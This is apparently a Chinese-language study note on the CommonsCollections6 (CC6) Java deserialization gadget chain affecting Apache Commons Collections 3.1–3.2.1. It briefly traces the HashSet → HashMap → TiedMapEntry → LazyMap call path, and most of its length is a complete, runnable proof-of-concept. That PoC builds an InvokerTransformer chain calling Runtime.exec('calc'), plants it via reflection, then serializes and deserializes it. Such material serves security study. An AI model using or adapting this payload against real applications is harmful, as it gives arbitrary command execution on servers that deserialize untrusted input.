CC6

jdk暂无限制
CommonsCollections 3.1 - 3.2.1

似乎新增了类，似乎又没新增。。。(HashMap、HashSet)与CC5链子不同
看org/apache/commons/collections/keyvalue/TiedMapEntry.java#hashCode()

调用了 getValue()。再看java/util/HashMap.java#hash()

再找调用hash()的地方java/util/HashMap.java#put()

在java/util/HashSet.java#readObject()的最后调用了 put()

但是注意在readObject()中判断了HashSet中需要有值，所以poc中会有hashset.add("foo");

上poc

package com.yq1ng.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
/**
 * @author ying
 * @Description
 * @create 2021-11-23 17:16
 */
public class cc6 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);
        //    反射获取了 HashMap 中的 table 属性
        //    table是hashmap的存储底层，封装在了 Node 对象中
        //    关于Node可以看看https://blog.csdn.net/weixin_34662372/article/details/114036282
        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        //    这里反射就相当于设置了hashmap的存储底层
        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);
        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
            outputStream.writeObject(hashset);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}